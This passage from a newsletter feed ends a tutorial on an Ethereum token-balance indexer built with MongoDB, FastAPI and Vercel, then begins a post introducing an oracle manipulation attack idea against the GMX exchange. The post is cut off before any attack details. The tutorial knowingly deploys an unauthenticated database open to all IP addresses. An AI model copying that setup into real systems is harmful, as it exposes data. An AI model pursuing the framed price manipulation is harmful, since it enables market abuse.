</code></pre><p>for non-verified contracts, you can try tools like <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/shazow/whatsabi">this one</a>.</p><p>paste the abi into a <code>json</code> file inside <code>./abi/</code>.</p><p>finally, add the path for this file in the <code>.env</code> file:</p><pre data-type="codeBlock" text="TOKEN_CONTRACT_ABI = ./abi/&lt;abi file.json&gt;
"><code>TOKEN_CONTRACT_ABI <span class="hljs-operator">=</span> ./<span class="hljs-built_in">abi</span><span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span><span class="hljs-built_in">abi</span> file.json>
</code></pre><h3 id="h-fetching-the-data" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">fetching the data</h3><p>to allow users to access transactions event data, the ethereum evm keeps an event log of every block’s transactions, which can be retrieved with the <code>eth_getLogs</code> <code>json-rpc</code> method. in other words, any time a transaction is minted, event logs are fired.</p><p>we are interested in <code>Transfer()</code> events, which represent functions that can transfer some assets between two addresses. an <strong>event signature</strong> is used to identify this specific event log, which is the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://emn178.github.io/online-tools/keccak_256.html">keccak-256</a> hash of <code>Transfer(from, to, value)</code>:</p><pre data-type="codeBlock" text="keccak256(Transfer(address,address,uint256) = ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
"><code><span class="hljs-built_in">keccak256</span>(Transfer(<span class="hljs-keyword">address</span>,<span class="hljs-keyword">address</span>,<span class="hljs-keyword">uint256</span>) <span class="hljs-operator">=</span> ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
</code></pre><p>this is an example of the data passed when calling <code>eth_getLogs</code>:</p><pre data-type="codeBlock" text="{
  &apos;jsonrpc&apos;: &apos;2.0&apos;, 
  &apos;method&apos;: &apos;eth_getLogs&apos;, 
  &apos;params&apos;: 
      [
        {
          &apos;address&apos;:&apos;0xBAac2B4491727D78D2b78815144570b9f2Fe8899&apos;, 
          &apos;fromBlock&apos;: &apos;0x1&apos;, 
          &apos;toBlock&apos;: &apos;0x1389&apos;, 
          &apos;topics&apos;:  [
&apos;0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef&apos;  
                    ]
       }
      ], 
 &apos;id&apos;: 1
}
"><code>{
  'jsonrpc': <span class="hljs-string">'2.0'</span>, 
  <span class="hljs-string">'method'</span>: <span class="hljs-string">'eth_getLogs'</span>, 
  <span class="hljs-string">'params'</span>: 
      [
        {
          '<span class="hljs-selector-tag">address</span>':<span class="hljs-string">'0xBAac2B4491727D78D2b78815144570b9f2Fe8899'</span>, 
          <span class="hljs-string">'fromBlock'</span>: <span class="hljs-string">'0x1'</span>, 
          <span class="hljs-string">'toBlock'</span>: <span class="hljs-string">'0x1389'</span>, 
          <span class="hljs-string">'topics'</span>:  [
<span class="hljs-string">'0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'</span>  
                    ]
       }
      ], 
 'id': <span class="hljs-number">1</span>
}
</code></pre><p>and this is an example of response:</p><pre data-type="codeBlock" text="{
  &apos;address&apos;: &apos;0xbaac2b4491727d78d2b78815144570b9f2fe8899&apos;,  
  &apos;blockHash&apos;:&apos;0x543c387ba2d9b8173cba357d51f2f7329fcd02d475d9e116d749f8cdc203d763&apos;, 
  &apos;blockNumber&apos;: &apos;0xc85a3e&apos;, 
  &apos;data&apos;:&apos;0x000000000000000000000000000000000000000036d5011c02b1b33ec5840000&apos;, 
  &apos;logIndex&apos;: &apos;0x25f&apos;, 
  &apos;removed&apos;: False, 
  &apos;topics&apos;: [&apos;0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef&apos;,&apos;0x0000000000000000000000000000000000000000000000000000000000000000&apos;,&apos;0x000000000000000000000000f5c27c6fe782cbb5c85989ea3e75754748153459&apos;], 
  &apos;transactionHash&apos;:&apos;0x5e5d83fd2d43b3f7aab6f2b4c21a69dd6d804f59711dec13198d4792a4e5e158&apos;, 
  &apos;transactionIndex&apos;: &apos;0x199&apos;
}
"><code>{
  '<span class="hljs-selector-tag">address</span>': <span class="hljs-string">'0xbaac2b4491727d78d2b78815144570b9f2fe8899'</span>,  
  <span class="hljs-string">'blockHash'</span>:<span class="hljs-string">'0x543c387ba2d9b8173cba357d51f2f7329fcd02d475d9e116d749f8cdc203d763'</span>, 
  <span class="hljs-string">'blockNumber'</span>: <span class="hljs-string">'0xc85a3e'</span>, 
  <span class="hljs-string">'data'</span>:<span class="hljs-string">'0x000000000000000000000000000000000000000036d5011c02b1b33ec5840000'</span>, 
  <span class="hljs-string">'logIndex'</span>: <span class="hljs-string">'0x25f'</span>, 
  <span class="hljs-string">'removed'</span>: False, 
  <span class="hljs-string">'topics'</span>: [<span class="hljs-string">'0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'</span>,<span class="hljs-string">'0x0000000000000000000000000000000000000000000000000000000000000000'</span>,<span class="hljs-string">'0x000000000000000000000000f5c27c6fe782cbb5c85989ea3e75754748153459'</span>], 
  <span class="hljs-string">'transactionHash'</span>:<span class="hljs-string">'0x5e5d83fd2d43b3f7aab6f2b4c21a69dd6d804f59711dec13198d4792a4e5e158'</span>, 
  <span class="hljs-string">'transactionIndex'</span>: <span class="hljs-string">'0x199'</span>
}
</code></pre><p>back to our<code>TokenIndexer class</code>, we can see how <code>eth_getLogs</code> is being leveraged to retrieve the target transfer events:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/19ee81b5d9d824eb71f0e631c9c34a76d876a713c18f199e77e9727a816de352.png" alt="src/blockchains/ethereum.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/blockchains/ethereum.py</figcaption></figure><p>note that this class uses math methods that are defined in the file below:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6552a75822212b60470aaa0cbb12a06675cc43170a28dadc5d5b91a6302d2401.png" alt="src/utils/arithmetics.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/utils/arithmetics.py</figcaption></figure><p>we can now fire the indexer and start retrieving the historical transfer events data on ethereum:</p><pre data-type="codeBlock" text="&gt; indexer -e
(...)
ℹ️ Indexing transfer events between blocks 16780001 and 16809808...
loading blocks 16780001 to 16785001
ℹ️ Found 30 transfer events between blocks 16780001 and 16785001.
loading blocks 16785001 to 16790001
ℹ️ Found 26 transfer events between blocks 16785001 and 16790001.
loading blocks 16790001 to 16795001
(...)
ℹ️ Results were saved at ./output/raw_data_2023-03-11_21-15-52.json.
"><code><span class="hljs-operator">></span> indexer <span class="hljs-operator">-</span>e
(...)
ℹ️ Indexing transfer events between blocks <span class="hljs-number">16780001</span> and <span class="hljs-number">16809808.</span>..
loading blocks <span class="hljs-number">16780001</span> to <span class="hljs-number">16785001</span>
ℹ️ Found <span class="hljs-number">30</span> transfer events between blocks <span class="hljs-number">16780001</span> and <span class="hljs-number">16785001.</span>
loading blocks <span class="hljs-number">16785001</span> to <span class="hljs-number">16790001</span>
ℹ️ Found <span class="hljs-number">26</span> transfer events between blocks <span class="hljs-number">16785001</span> and <span class="hljs-number">16790001.</span>
loading blocks <span class="hljs-number">16790001</span> to <span class="hljs-number">16795001</span>
(...)
ℹ️ Results were saved at ./output<span class="hljs-operator">/</span>raw_data_2023<span class="hljs-operator">-</span>03<span class="hljs-number">-11_21</span><span class="hljs-number">-15</span><span class="hljs-number">-52</span>.json.
</code></pre><h3 id="h-verifying-the-data" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">verifying the data</h3><p>once all the blocks are indexed (it might take some time, depending on the token), we should run a sanity check by checking the data against etherscan (a great tool for <code>JSON</code> exploitation is <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://stedolan.github.io/jq/">jq</a>):</p><pre data-type="codeBlock" text="&gt; cat &lt;result json file&gt; | jq . | tail  
"><code><span class="hljs-operator">></span> cat <span class="hljs-operator">&#x3C;</span>result json file<span class="hljs-operator">></span> <span class="hljs-operator">|</span> jq . | tail  
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b2341da02cc23036accca204eb1cddbc6e0d19305006dd482bbee25d68d5c11a.png" alt="a transfer event entry." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">a transfer event entry.</figcaption></figure><p>nice, the last entry of that particular result file does <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/tx/0x1dcd8a9c683fb2f7ee5416a9dad5e1acbe40b4007f6066ae61c87688cb2f105a">match with etherscan</a>.</p><p>this is the bulk of the data to be ingested into our database (<em>i.e.,</em> cached). from here, every new block info can be added on top of this historical data whenever a query is being run.</p><hr><h2 id="h-preparing-the-data-prior-db-ingestion" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 preparing the data prior db ingestion</h2><p>to prepare the data, let’s write a script that processes the transfer events into balances by wallet:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d3a06f03c054a4d98a5c9033716352ab4b659c2aade35c03d37a7f1224f0db7d.png" alt="src/utils/data_processing.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/utils/data_processing.py</figcaption></figure><p>running it:</p><pre data-type="codeBlock" text="&gt; indexer -p &lt;json result file&gt;
ℹ️ Writing balances to ./output/balances_*.json

&gt; cat ./output/balances_*.json
(...)
&quot;0xd2b91e16b8bed2b643e600cbeb88f4ebb1ca1727&quot;: 10250.336445767043,
&quot;0x716a42b8b7a89ccfedb90d42036166846c38ac75&quot;: 10251.214376623593,
&quot;0xa957498ad9744f5c827056988b2c948c09a8d722&quot;: 10260.791115637423,
&quot;0x5616721ca2a299f36e9ba02bf2770961c3899c43&quot;: 10261.38906964618,
&quot;0x040baa573b9dab3143425d7e0d11916961d385bf&quot;: 10269.571681498099,
(...)
"><code><span class="hljs-operator">></span> indexer <span class="hljs-operator">-</span>p <span class="hljs-operator">&#x3C;</span>json result file<span class="hljs-operator">></span>
ℹ️ Writing balances to ./output<span class="hljs-operator">/</span>balances_<span class="hljs-operator">*</span>.json

<span class="hljs-operator">></span> cat ./output<span class="hljs-operator">/</span>balances_<span class="hljs-operator">*</span>.json
(...)
<span class="hljs-string">"0xd2b91e16b8bed2b643e600cbeb88f4ebb1ca1727"</span>: <span class="hljs-number">10250.336445767043</span>,
<span class="hljs-string">"0x716a42b8b7a89ccfedb90d42036166846c38ac75"</span>: <span class="hljs-number">10251.214376623593</span>,
<span class="hljs-string">"0xa957498ad9744f5c827056988b2c948c09a8d722"</span>: <span class="hljs-number">10260.791115637423</span>,
<span class="hljs-string">"0x5616721ca2a299f36e9ba02bf2770961c3899c43"</span>: <span class="hljs-number">10261.38906964618</span>,
<span class="hljs-string">"0x040baa573b9dab3143425d7e0d11916961d385bf"</span>: <span class="hljs-number">10269.571681498099</span>,
(...)
</code></pre><p>sweet, it works: we have the historical balance data by wallet.</p><hr><h2 id="h-setting-up-the-mongodb-database" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 setting up the mongodb database</h2><p>the next step is to feed the balance data into the database so that it can be accessed by the api we are building.</p><p>we will be using a document database, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mongodb.com/">mongodb</a>, in which <strong>a record is a document</strong> composed of field and value pairs (similar to a <code>dict</code> or a <code>json</code>). mongodb stores data records as <code>bson</code>, a binary representation of <code>json</code>.</p><p>mongodb stores documents inside <strong>collections</strong> (something like tables in sql/relational databases), and each collection is assigned to an immutable <strong>uuid</strong> (universally unique identifier).</p><h3 id="h-setting-up-a-local-mongodb" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">setting up a local mongodb</h3><p>when developing software, a local setup is necessary prior to the production (cloud) deployment.</p><p>start by installing mongodb following <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-os-x/">these instructions</a>. to install a local gui, download <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mongodb.com/try/download/compass">mongodb compass</a>.</p><p>to start the service, run:</p><pre data-type="codeBlock" text="brew services start mongodb-&lt;version&gt;
"><code>brew services start mongodb<span class="hljs-operator">-</span><span class="hljs-operator">&#x3C;</span>version<span class="hljs-operator">></span>
</code></pre><p>the default connection is set at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://localhost:27017/">http://localhost:27017</a>, and you can check whether the process is running with:</p><pre data-type="codeBlock" text="ps aux | grep -v grep | grep mongod
"><code>ps aux | <span class="hljs-keyword">grep</span> -v <span class="hljs-keyword">grep</span> | <span class="hljs-keyword">grep</span> mongod
</code></pre><p>a mongodb shell written in javascript can be launched with:</p><pre data-type="codeBlock" text="mongosh
"><code></code></pre><h3 id="h-loading-the-balance-data-into-the-local-db-instance" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">loading the balance data into the local db instance</h3><p>let’s run a python script that loads the balance data into the local database (note that this only should be run once, and all the later db handling is done by methods from the <code>server/</code> module):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5af162481bbc0874887e28c028a06ce84eb70caeaa629bf38c7789cb37d37eae.png" alt="src/utils/db_processing.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/utils/db_processing.py</figcaption></figure><p>running <code>indexer -d &lt;balances file.json&gt;</code> populates the <code>balances</code> collection:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/22de1e020ed0eb8e3afb7d59ad3da3eda03441705ca0b7d173b95f8aa378ac26.png" alt="database view from the mongodb compass gui." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">database view from the mongodb compass gui.</figcaption></figure><hr><h2 id="h-creating-and-deploying-an-api-service" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 creating and deploying an api service</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://fastapi.tiangolo.com/">fastapi</a> is a high-performance framework built on top of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.python.org/3/library/asyncio.html">asyncio</a>, a python library that implements concurrent code using the async/await syntax.</p><blockquote><p>💡 <em>a function with async is a coroutine. it can be paused internally, allowing the program to execute in increments (and suspending or resuming execution).</em></p></blockquote><p>the first step to deploy our api is to create an <code>app</code> and call it with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.uvicorn.org/">uvicorn</a> (an asynchronous server gateway interface web server implementation for python):</p><p><code>uvicorn.run(&quot;src.server.api:app&quot;, host=HOST, port=PORT, reload=True)</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c66cfded307b3058dffd1838a0209fecffac3d400132d5ba177d0d75c3f72406.png" alt="src/server/api.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/server/api.py</figcaption></figure><p>then, we define the api routes:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fccb81c95bc14157a3b4846a2803954afaf6f39617c95171ac3362a9a8947a4f.png" alt="src/server/routes.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">src/server/routes.py</figcaption></figure><blockquote><p>💡 <em>futures represent the result of a task that may or may not have been executed.</em></p></blockquote><p>and, finally, the database model methods:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/70134f5813c482aa87080ff1709c5c75a5e0cf267e5f9d2b0a3bf03b1cdac6a0.png" alt="server/database.py" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">server/database.py</figcaption></figure><hr><h2 id="h-testing-the-api" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 testing the api</h2><p>to spin up the api locally, run <code>indexer -a</code> and open <code>http://0. 0.0.0:80</code> in your browser. you should see this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9491287be6aa230a5e68ec9a753dbad52011cecae54ca0f30666b699fbe44a12.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>if you open <code>http://0. 0.0.0:80/docs</code>, you should see this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/883f88804d737600fb5fd7537e95221b0b1e3db9a4721211306ddea6afbcfd78.png" alt="our api&apos;s documentation." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">our api&apos;s documentation.</figcaption></figure><p>you can test this api through the browser, using <code>curl</code>, or with the indexer cli.</p><p>for instance, fetching a wallet’s balance:</p><pre data-type="codeBlock" text="&gt; indexer -b 0xe9f3bcdfa00f040bb5436601a476f780bb5af16a

ℹ️ {&apos;result&apos;: [{&apos;wallet&apos;: &apos;0xe9f3bcdfa00f040bb5436601a476f780bb5af16a&apos;, &apos;balance&apos;: 10227.977269319452}]}
"><code><span class="hljs-operator">></span> indexer <span class="hljs-operator">-</span>b <span class="hljs-number">0xe9f3bcdfa00f040bb5436601a476f780bb5af16a</span>

ℹ️ {<span class="hljs-string">'result'</span>: [{<span class="hljs-string">'wallet'</span>: <span class="hljs-string">'0xe9f3bcdfa00f040bb5436601a476f780bb5af16a'</span>, <span class="hljs-string">'balance'</span>: <span class="hljs-number">10227.977269319452</span>}]}
</code></pre><p>or fetching top 100 token holders:</p><pre data-type="codeBlock" text="&gt; indexer -t

ℹ️ {&quot;result&quot;:[{&quot;wallet&quot;:&quot;0xf894fea045eccb2927e2e0cb15c12debee9f2be8&quot;,&quot;balance&quot;:8304434869.4720545},{&quot;wallet&quot;:&quot;0xc96f20099d96b37d7ede66ff9e4de59b9b1065b1&quot;,&quot;balance&quot;:6250026548.525733},{&quot;wallet&quot;:&quot;0x563b1ae9717e9133b0c70d073c931368e1bd86e5&quot;,&quot;balance&quot;:3631605454.7259746},
(...)
"><code><span class="hljs-operator">></span> indexer <span class="hljs-operator">-</span>t

ℹ️ {<span class="hljs-string">"result"</span>:[{<span class="hljs-string">"wallet"</span>:<span class="hljs-string">"0xf894fea045eccb2927e2e0cb15c12debee9f2be8"</span>,<span class="hljs-string">"balance"</span>:<span class="hljs-number">8304434869.4720545</span>},{<span class="hljs-string">"wallet"</span>:<span class="hljs-string">"0xc96f20099d96b37d7ede66ff9e4de59b9b1065b1"</span>,<span class="hljs-string">"balance"</span>:<span class="hljs-number">6250026548.525733</span>},{<span class="hljs-string">"wallet"</span>:<span class="hljs-string">"0x563b1ae9717e9133b0c70d073c931368e1bd86e5"</span>,<span class="hljs-string">"balance"</span>:<span class="hljs-number">3631605454.7259746</span>},
(...)
</code></pre><hr><h2 id="h-deployment-to-production" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦅 deployment to production</h2><p>we can now deploy the api in the cloud using <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://vercel.com/">vercel</a> , while utilizing <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cloud.mongodb.com/">mongodb’s atlas</a> for mongo.</p><h3 id="h-mongodb-atlas" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">mongodb atlas</h3><p>create an account and a database, then upload the data:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3346fd84914b5c864b52c288538f6422da101961ec94ebcc188f3c1d1a6dab56.png" alt="balances.balances at mongodb atlas." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">balances.balances at mongodb atlas.</figcaption></figure><p>next add the <code>MONGODB_URL</code> to <code>.env</code>:</p><pre data-type="codeBlock" text="MONGDB_URI=&quot;mongodb+srv://&lt;username&gt;:&lt;password&gt;@&lt;url&gt;/&lt;db&gt;?retryWrites=true&amp;w=majority&quot;
"><code><span class="xml">MONGDB_URI="mongodb+srv://<span class="hljs-tag">&#x3C;<span class="hljs-name">username</span>></span>:<span class="hljs-tag">&#x3C;<span class="hljs-name">password</span>></span>@<span class="hljs-tag">&#x3C;<span class="hljs-name">url</span>></span>/<span class="hljs-tag">&#x3C;<span class="hljs-name">db</span>></span>?retryWrites=true&#x26;w=majority"
</span></code></pre><p>since the instance will be short-lived (only to illustrate this project), we won’t bother with authentication. however, if you are adapting this project for a production api, you want to look at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://indominusbyte.github.io/fastapi-jwt-auth/">adding jwt authentication into your fastapi </a>(or some alternative auth method).</p><p>another detail is atlas’ ip addresses access list, which for this project, we will allow access to 0.0.0.0/0 (so vercel can access).</p><h3 id="h-vercel" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">vercel</h3><p>to deploy to vercel, add a <code>.vercel</code> config file to <code>./</code>:</p><pre data-type="codeBlock" text="{
  &quot;builds&quot;: [
    {&quot;src&quot;: &quot;/src/api.py&quot;, &quot;use&quot;: &quot;@vercel/python&quot;}
  ],
  &quot;routes&quot;: [
    {&quot;src&quot;: &quot;/(.*)&quot;, &quot;dest&quot;: &quot;src/api.py&quot;}
  ]
}
"><code>{
  "builds": [
    {"<span class="hljs-attribute">src</span>": <span class="hljs-string">"/src/api.py"</span>, <span class="hljs-string">"use"</span>: <span class="hljs-string">"@vercel/python"</span>}
  ],
  "routes": [
    {"<span class="hljs-attribute">src</span>": <span class="hljs-string">"/(.*)"</span>, <span class="hljs-string">"dest"</span>: <span class="hljs-string">"src/api.py"</span>}
  ]
}
</code></pre><p>then run:</p><pre data-type="codeBlock" text="&gt; vercel login
&gt; vercel .
"><code><span class="hljs-quote">> vercel login</span>
<span class="hljs-quote">> vercel .</span>
</code></pre><p>inside the vercel project’s setting, upload all env variables:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c34b0816cabcb3376e78d22f306df31745118ca1ba45a31a8a66443d2febed8a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>and voilà:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cc4d7c08f62ef5615f715bbb780b6497ac1b8d0c678a5096dcf18b84b3be6bea.png" alt="our api in the cloud." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">our api in the cloud.</figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/9d4b6aef9e427f53201be5480703c3eeb5979d2a836bea3b073d02d3003aed02.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on manipoolator, my gmx oracle player]]></title>
            <link>https://paragraph.com/@go-outside/on-manipoolator-my-gmx-oracle-player</link>
            <guid>Ruq3gkl8rltENZ3uesfc</guid>
            <pubDate>Mon, 13 Feb 2023 01:04:58 GMT</pubDate>
            <description><![CDATA[tl; drthe strategytoday i go over a hypothetically profitable strategy that runs an oracle manipulation attack on GMX. for my previous two bots, cointbot and cowsol, i provided a complete and original production-level strategy and source-code. for this one, i will only supply the idea.the status quothis vulnerability is not new, and whoever is following the space closely is probably pretty aware of it. last year, there was some conversation about adding a twamm mechanism to the fast price fee...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><h3 id="h-the-strategy" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the strategy</h3><p>today i go over a <strong><em>hypothetically</em> profitable strategy</strong> that runs an <strong>oracle manipulation attack</strong> on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gmx.io/#/"><strong>GMX</strong></a>.</p><p>for my previous two bots, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/steinkirch.eth/KQ0basHaclOCDDtOhz3NgKQhHdHqaqOtU89Sr4QO5L4"><strong>cointbot</strong></a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/steinkirch.eth/s_RwnRgJvK_6fLYPyav7lFT3Zs4W4ZvYwp-AM9EbuhQ"><strong>cowsol</strong></a>, i provided a complete and original production-level strategy and source-code. for this one, i will only supply the <strong><em>idea</em></strong>.</p><hr><h3 id="h-the-status-quo" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the status quo</h3><p><strong>this vulnerability is not new</strong>, and whoever is following the space closely is probably pretty aware of it. last year, there was some conversation about adding a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/blob/main/MEV_strategies/oracles/twamm.md"><strong>twamm mechanism</strong></a> to the <strong>fast price feed</strong> (i will tell you what this feed is below).</p><p>i will leave it open to you to verify whether this strategy works (for example, by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-rs"><strong>simulating against past data</strong></a>).</p><h3 id="h-on-gray-hat-hacking" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">on gray-hat hacking</h3><p><strong>market manipulation is illegal</strong> but openly <strong>talking about risks is healthy and helps the space</strong> to progress (in any case, of course i am <strong>not</strong> responsible for anything you do with my free code or ideas).</p><h3 id="h-all-right-here-goes-the-manipoolator" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">all right, here goes the manipoolator…</h3><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/14LTdOYKE4A2MD710yWvco?si=daa8f2ac53e94110">https://open.spotify.com/track/14LTdOYKE4A2MD710yWvco?si=daa8f2ac53e94110</a></p><hr><h2 id="h-gmx-for-the-uninformed" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🔮 gmx for the uninformed</h2><p><strong><em>“gmx offers zero slippage on trades via an oracle price update system (chainlink + aggregate of prices from leading volume exchanges), while amms rely on arb bots to balance prices in the pools”</em></strong></p><h3 id="h-the-exchange" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the exchange</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gmx.io/">gmx</a> is a decentralized spot and perpetual futures exchange built on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://arbitrum.io/">arbitrum</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.avax.network/">avalanche</a> chains.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://stats.gmx.io/">it exploded after the ftx fall</a>, and just this week, it seems to have become <a target="_blank" 